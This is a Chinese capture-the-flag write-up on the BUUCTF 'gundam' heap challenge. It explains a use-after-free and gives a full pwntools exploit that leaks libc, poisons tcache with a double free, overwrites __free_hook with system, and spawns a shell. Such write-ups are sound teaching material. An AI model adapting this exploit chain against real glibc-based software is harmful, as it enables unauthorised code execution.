BUUCTF-gundam

[BUUCTF] gundam

题目链接:https://buuoj.cn/challenges#hitb2018_gundam

这道题主要考察的是tcache的相关漏洞利用,由于刚接触堆漏洞利用,一步一坑...,做完后心生感慨必须得写点什么记录这次的踩坑经历。

image

glibc 环境配置

在做pwn相关题目时需要保持本地和远程机器环境一致。对于堆题来说,libc版本不一致,各种安全机制也不尽相同,gdb调试的结果也会出现巨大差异,最终导致本地能运行的代码提交到远端机器后运行失败。

BUUCTF-gundam的环境为: ubuntu18,libc-2.27.so

https://buuoj.cn/resources

为了和平台环境保持一致,我们需要修改gundam的环境为libc-2.27,因此需要用到两个工具

  • glibc-all-in-one: 下载glibc环境
  • patchelf: 修改可执行文件的动态库

glibc-all-in-one 安装

git clone git@github.com:matrix1001/glibc-all-in-one.git
cd glibc-all-in-one
./download 2.27-3ubuntu1_amd64

patchelf 安装

git clone git@github.com:NixOS/patchelf.git
cd patchelf
./bootstrap.sh
./configure
make
make check
sudo make install

工具下载完后执行如下命令修改gundam运行环境.
运行完后无回显,可以用ldd gundam查看环境是否被修改成功

ps: 命令需要修改...主要看你把glibc-all-in-one安装在哪,修改为对应路径

patchelf --set-interpreter /home/kali/Documents/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so ./gundam
patchelf --replace-needed libc.so.6 /home/kali/Documents/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so ./gundam
patchelf --set-rpath /home/kali/Documents/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ ./gundam 

IDA代码分析

替换了几个变量的命名,看上去更加舒适...

image

image

从build函数中能得出如下信息:

  • s是个结构体,姑且叫它gundam,大概格式是这样
    struct gundam {
    	int flag;
    	// 中间缺了4字节,可能是被对齐了
    	char *name;
    	char type[24];
    } gundam;
    
    struct gundam * factory[9]
    
  • gundam里有个flag,标识是否被使用,在删除时会用到
  • gundam的name长度为100,由read函数读入,不会被\0截断
  • gundam的type只能是[0,1,2]中的一个

image

visit函数第9行判断了下gundam是否为NULL以及对应flag是否为1,打印其name和type

image

destroy函数要求输入一个idx,会把idx位置上的gundam的flag清零,以及free gundam的name

  • free name之后没有把对应指针置0,意味着这里有个UAF漏洞
  • 没有free idx位置上的gundam
  • 这里的destory拼错了...(卡了我一小会,就说怎么老获取不到反馈)

image

blow_up会清空所有没有在使用(flag=0)的gundam, free掉对应结构体, 并把已创建的gundam数量-1, 这里释放完后对应gundam的指针被置0了,但仍然没有处理gundam->name

总体思路

  1. 泄露libc的基址, 计算__free_hook和system的地址
  2. 将__free_hook的值赋值为system地址
  3. /bin/sh\0传入, 调用system

在开始细化讲解每一步的操作前先简要介绍下每一步的原理。

泄露libc基址

该题在BUUCTF上的环境为libc-2.27, 而在libc-2.26引入了一种叫做tcache的机制,该机制会导致free chunk时,原本要释放的chunk先放入tcache中,相同大小的chunk放入同一个链表,链表最多存放7个,超过7个的部分放入unsorted-bin中。
image
对于一个chunk,我们知道它的结构体长这样

struct malloc_chunk {
  INTERNAL_SIZE_T      mchunk_prev_size;  /* Size of previous chunk, if it is free. */
  INTERNAL_SIZE_T      mchunk_size;       /* Size in bytes, including overhead. */
  struct malloc_chunk* fd;                /* double links -- used only if this chunk is free. */
  struct malloc_chunk* bk;
  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */
  struct malloc_chunk* bk_nextsize;
};

正在使用的chunk,从fd字段开始是我们的用户数据,而chunk被free掉之后,fd字段就指向了下一个free的chunk。假如一个chunk被free掉后,它对应的指针没有置为NULL,我们就可以在它的data[0:8]位置处读出fd的值。

image

在unsorted bin中,最后一个chunk会指向main_arena的固定区域,可以理解为main_arena里有个和tcache类似的数组,称它为bins,bins与main_arena的偏移是固定的,所有的unsorted bin都放在bins[1]这个链表中。

综上,如果我们获取fd,进一步获取到main_arena,由于main_arena与libc的偏移也是固定的,我们就能找出libc的地址了,也就能够找出__free_hook和system的地址。

__free_hook

void __libc_free (void *mem)
{
  mstate ar_ptr;
  mchunkptr p;                          /* chunk corresponding to mem */

  void (*hook) (void *, const void *)
    = atomic_forced_read (__free_hook);
  if (__builtin_expect (hook != NULL, 0))
    {
      (*hook)(mem, RETURN_ADDRESS (0));
      return;
    }

截取了一部分free代码的片段,从片段中可以看出,如果__free_hook不为空,则会把要释放的mem作为参数,调用__free_hook。在这一题中,我们就是通过把__free_hook修改成system,再free掉一个内容为/bin/sh\0的chunk,即可获得shell

编写exp

基本框架

from pwn import *

context.log_level = 'debug'

file_path = '/home/kali/Desktop/ctf/pwn/gundam/gundam'
libc_path = '/home/kali/Documents/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so'

io = process([file_path])
# io = remote('node4.buuoj.cn', 26035)
libc = ELF(libc_path)

def build(name):
    io.sendlineafter("Your choice : ", "1")
    io.sendlineafter("gundam :", name)
    io.sendlineafter("The type of the gundam :", "0")

def visit():
    io.sendlineafter("choice : ", "2")

def destroy(idx):
    io.sendlineafter("choice : ","3")
    io.sendlineafter("Destory:", str(idx))

def blow_up():
    io.sendlineafter("choice : ", "4")

泄露libc基址

tcache第8个free掉的bin会放入unsorted bins,我们可以先创建9个高达,再释放8个,最后一个gundam被destroy后会加入unsorted bin,而destroy gundam时没有对gundam->name指针置0,因此可以读出它的内容,这里多创建一个是为了防止和top chunk合并。

for i in range(9):
    build(b'a' * 7)

for i in range(8):
    destroy(i)

用gdb调试一下,看看现在unsorted bin和libc的距离有多远
image

image

由于此时unsorted bin中只有一个chunk,因此该chunk的fd指针直接指向bins[1],而它与main_arena的偏移固定,main_arena与libc的偏移固定,因此fd与libc的基址偏移就是固定的

从图中可以算出fd到libc的地址距离为0x00007fe840b9bca0 - 0x7fe8407b0000 = 0x3ebca0

接下来,我们可以通过destroy后没有把相关指针置0的漏洞,读取出unsorted bin中的内容,并计算出__free_hook与system的地址。此时unsorted bin应该是idx=7的gundam对应的chunk

visit()

leak = u64(io.recvuntil(b'Type[7]', drop=True)[-6:].ljust(8, b'\0'))
libc_base = leak - 0x3ebca0
free_hook_addr = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']

print(hex(leak))
print(hex(libc_base))
print(hex(system_addr))

UAF漏洞利用

泄露完我们要的函数地址后,该如何把它们修改为想要的值呢,这里就不得不提到tcache对于free后的chunk的插入方式。

对于正常的chunk来说,tcache采用头插法,LIFO

image

image

用伪代码标识就是

void insert(chunk* node) {
	node->fd = chunk[idx]->fd;
	chunk[idx]->fd = node;
}

此时如果tache中只有一个chunk,而我们将它free了两次,那么就会出现chunk的fd指向自己的现象

image

这种现象会导致,我们连续两次申请内存,都会申请到同一个chunk!!!,也就是说,当我们第一次申请到chunk之后,我们可以自定义这个chunk的内容,修改它的fd指针。

还记得我们之前想要做什么吗,把__free_hook的地址修改为system。在第一次申请这个chunk时,我们把它的fd指针指向__free_hook, 第二次申请无事发生,第三次申请malloc时,我们申请到的内存块就是__free_hook的内存空间,此时我们只需要写入system的地址即可完成修改。

destroy(2)
destroy(1)
destroy(0) # gundam不能超过9, 我们后面一共需要__free_hook, system, /bin/sh\0三个值,因此这里释放3个gundam
destroy(0) # 形成循环
blow_up()  # 释放gundam, 对应指针置0

image

build(p64(free_hook_addr)) # 第一次申请chunk, 把fd指针改为free_hook_addr
build(b'/bin/sh\0')        # 第二次申请,无事发生...,不如直接把/bin/sh\0写入这个chunk
build(p64(system_addr))    # 第三次申请,此时获取到的内存块是指向__free_hook的, 等同于*__free_hook = system

形成循环后,gdb查看bins

image

修改system后,gdb查看free_hook

image

所有的条件都已经具备,我们只需要调用__free_hook, 即释放一个含有/bin/sh\0的chunk就能实现system('/bin/sh')

destroy(1)
io.interactive()

完整exploit

from pwn import *

context.log_level = 'debug'

file_path = '/home/kali/Desktop/ctf/pwn/gundam/gundam'
libc_path = '/home/kali/Documents/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so'

io = process([file_path])
# io = remote('node4.buuoj.cn', 26035)
libc = ELF(libc_path)

def build(name):
    io.sendlineafter("Your choice : ", "1")
    io.sendlineafter("gundam :", name)
    io.sendlineafter("The type of the gundam :", "0")

def visit():
    io.sendlineafter("choice : ", "2")

def destroy(idx):
    io.sendlineafter("choice : ","3")
    io.sendlineafter("Destory:", str(idx))
def blow_up():
    io.sendlineafter("choice : ", "4")

for i in range(9):
    build(b'a' * 7)

for i in range(8):
    destroy(i)

blow_up()
for i in range(8):
    build(b'a' * 7)

visit()
leak = u64(io.recvuntil(b'Type[7]', drop=True)[-6:].ljust(8, b'\0'))
libc_base = leak - 0x3ebca0
free_hook_addr = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']

print(hex(leak))
print(hex(libc_base))
print(hex(system_addr))

destroy(2)
destroy(1)
destroy(0)
destroy(0)

blow_up()

build(p64(free_hook_addr))
build(b'/bin/sh\0')
build(p64(system_addr))

destroy(1)

io.interactive()

总结

  • 环境问题真坑。。。

  • UAF威力巨大,通过没有置0但free掉的指针,我们能获取fd,进而读取libc地址

  • tcache头插法导致循环,使我们能直接控制chunk内容,实现任意写. ps: glibc-2.28修复了这个漏洞,且用且珍惜

参考文献

https://mp.weixin.qq.com/s/UMUUP2G6jA0YDT-xauNvnQ

https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack/

http://blog.eonew.cn/2019-03-07.__free_hook 劫持原理.html

https://blog.csdn.net/qq_33976344/article/details/118294611

posted @ 2022-06-13 01:31  wudiiv11  阅读(138)  评论(0编辑  收藏  举报